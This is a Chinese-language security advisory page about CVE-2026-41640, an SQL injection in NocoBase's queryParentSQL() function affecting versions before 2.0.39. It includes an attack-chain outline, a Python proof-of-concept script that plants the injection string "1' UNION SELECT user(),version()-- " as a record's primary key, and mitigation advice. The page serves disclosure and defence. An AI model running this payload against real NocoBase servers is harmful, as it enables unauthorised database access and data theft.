IPBUF安全漏洞报告
English
CVE-2026-41640 CVSS 7.5 高危

CVE-2026-41640 NocoBase SQL注入漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41640
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NocoBase

相关标签

SQL注入NocoBaseCVE-2026-41640高危漏洞

漏洞概述

NocoBase是一个无代码/低代码平台。在2.0.39版本之前,其核心数据库包中的queryParentSQL()函数存在安全漏洞。该函数在构建递归公用表表达式(CTE)查询时,未使用参数化查询,而是直接通过字符串拼接nodeIds数组。由于nodeIds包含从数据库行读取的主键值,攻击者可以创建包含恶意字符串主键的记录。一旦后续请求触发对该集合的递归预加载,攻击者即可注入任意SQL语句,从而可能导致数据库被完全控制。该问题已在2.0.39版本中修复。

技术细节

该漏洞的根源在于NocoBase核心数据库包中queryParentSQL()函数的实现缺陷。该函数主要用于构建递归公用表表达式(CTE)查询,以处理层级数据的加载。在构建SQL语句时,开发者未采用安全的参数化查询方式,而是直接使用字符串拼接将nodeIds数组合并入SQL语句中。nodeIds数组包含从数据库行读取的主键值。由于系统未严格限制主键的格式,攻击者可以创建一个包含恶意SQL代码的记录,并将其主键设置为攻击载荷。当任何后续请求对该集合触发递归预加载时,恶意的主键值会被拼接到SQL查询中并执行。这种基于字符串拼接的构造方式使得攻击者能够注入任意SQL命令,从而绕过应用层逻辑,直接操作数据库,造成数据泄露、篡改或破坏。

攻击链分析

STEP 1
1
攻击者获取低权限账户,并具有创建特定集合记录的权限。
STEP 2
2
攻击者创建一个新记录,并将该记录的主键(Primary Key)字段设置为恶意的SQL注入载荷。
STEP 3
3
攻击者或系统用户触发对该集合的查询请求,该请求会调用queryParentSQL()函数进行递归预加载。
STEP 4
4
函数在构建CTE查询时,将恶意主键拼接到SQL语句中,导致数据库执行任意SQL命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41640: NocoBase SQL Injection via Malicious Primary Key # This script demonstrates creating a record with a malicious PK to trigger SQL injection. import requests TARGET_URL = "http://target-nocobase/api/collection_name" # Payload designed to break out of the string concatenation in queryParentSQL MALICIOUS_PK = "1' UNION SELECT user(),version()-- " headers = { "Authorization": "Bearer <TOKEN>", "Content-Type": "application/json" } # Step 1: Create a record with the malicious string as the primary key payload = { "id": MALICIOUS_PK, # Injection point "title": "Malicious Record" } response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious record created successfully.") print("[*] Triggering recursive eager loading (e.g., viewing a tree structure) will execute the payload.") else: print("[-] Failed to create record.")

影响范围

NocoBase < 2.0.39

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用受影响版本的递归关联查询功能,或通过WAF拦截包含特殊SQL字符(如单引号、注释符)的主键值请求,同时严格限制用户创建数据的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表